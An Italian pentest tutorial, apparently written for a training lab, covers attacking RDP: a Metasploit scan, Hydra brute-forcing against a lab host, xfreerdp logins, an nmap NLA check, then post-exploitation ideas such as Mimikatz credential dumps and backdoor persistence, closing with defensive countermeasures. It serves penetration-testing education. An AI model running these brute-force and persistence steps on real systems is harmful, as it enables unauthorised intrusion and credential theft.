Tutorials

🎯 **Guida Completa all’Exploitation di RDP**

Remote Desktop Protocol RDP è un protocollo proprietario sviluppato da Microsoft che consente il controllo remoto di un sistema Windows tramite una GUI. Per impostazione predefinita, RDP ascolta sulla

#exploitation#windows#rdp

🎯 Guida Completa all’Exploitation di RDP

🔍 Cos’è RDP?

Remote Desktop Protocol (RDP) è un protocollo proprietario sviluppato da Microsoft che consente il controllo remoto di un sistema Windows tramite una GUI. Per impostazione predefinita, RDP ascolta sulla porta TCP 3389.

RDP è un bersaglio comune nei penetration test, soprattutto quando è esposto pubblicamente e protetto da credenziali deboli.

🛠️ Obiettivi del pentest

1. Identificare host con RDP attivo. 2. Eseguire un attacco brute-force per ottenere accesso. 3. Verificare l’accesso e interagire tramite un client RDP. 4. Post-exploitation del sistema compromesso.


🔎 1. Scansione RDP con Metasploit

🎯 Verifica presenza del servizio

Per capire se l'host ha RDP attivo, puoi usare il modulo:

bash
use auxiliary/scanner/rdp/rdp_scanner

⚙️ Parametri:

bash
set RHOSTS <target_ip/subnet> set RPORT <porta>         # default 3389 run

✅ Il modulo restituisce se RDP è abilitato e disponibile.


🔐 2. Brute Force di RDP con Hydra

🔧 Sintassi base:

bash
hydra -L <user_wordlist> -P <password_wordlist> rdp://<target_ip> -s <porta>

🧪 Esempio pratico:

bash
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt \ -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt \ rdp://demo.ine.local -s 3333

📌 Note importanti:

  • Hydra sfrutta freerdp in background.
  • Assicurati che l'host supporti autenticazione classica (NLA o non-NLA), altrimenti il brute force potrebbe fallire.
  • In caso di Account Lockout Policy, evita brute-force aggressivi o lavora su wordlist mirate.

🔑 3. Verifica delle credenziali con xfreerdp

Una volta ottenute credenziali valide, puoi connetterti via RDP utilizzando xfreerdp:

⚙️ Sintassi:

bash
xfreerdp /u:<user> /p:<password> /v:<ip>[:porta]

✅ Esempi:

bash
xfreerdp /u:administrator /p:qwertyuiop /v:demo.ine.local
xfreerdp /u:administrator /p:qwertyuiop /v:demo.ine.local:3333

🔒 Opzioni avanzate:

  • /cert:ignore → ignora certificati autofirmati.
  • /dynamic-resolution → si adatta alla risoluzione della finestra.
  • /clipboard → abilita il copia/incolla tra sistemi.
  • /drive:share,/home/user/share → mappa cartelle locali.

🧠 Considerazioni Tecniche

🔐 Autenticazione NLA

Se la macchina target richiede Network Level Authentication (NLA), il brute force è notevolmente più difficile perché l'autenticazione avviene prima dell'avvio della GUI. Non tutti i tool gestiscono bene l'NLA.

Verifica presenza NLA:

bash
nmap -p 3389 --script rdp-ntlm-info <target>

📤 Post-Exploitation

Se ottieni l'accesso con RDP:

  • Esplora il sistema con privilegi utente o admin.
  • Dump credenziali con Mimikatz (se possibile).
  • Utilizza strumenti come SharpHound per la raccolta dati in ambienti Active Directory.
  • Carica strumenti tramite condivisioni RDP o clipboard.
  • Crea persistence (es. utente nascosto, scheduled task, registry backdoor).

🛡️ Contromisure e Difesa

Da red teamer (o pentester etico) è fondamentale conoscere anche i contromisure:

  • Disabilita RDP se non necessario.
  • Applica policy di lockout sugli account dopo un certo numero di tentativi.
  • Abilita autenticazione a due fattori per RDP.
  • Usa VPN o tunneling per isolare RDP dalla rete pubblica.
  • Monitora i log (Event ID 4625 per login falliti, 4624 per successi).

📚 Risorse utili

  • Nmap NSE Script: rdp-ntlm-info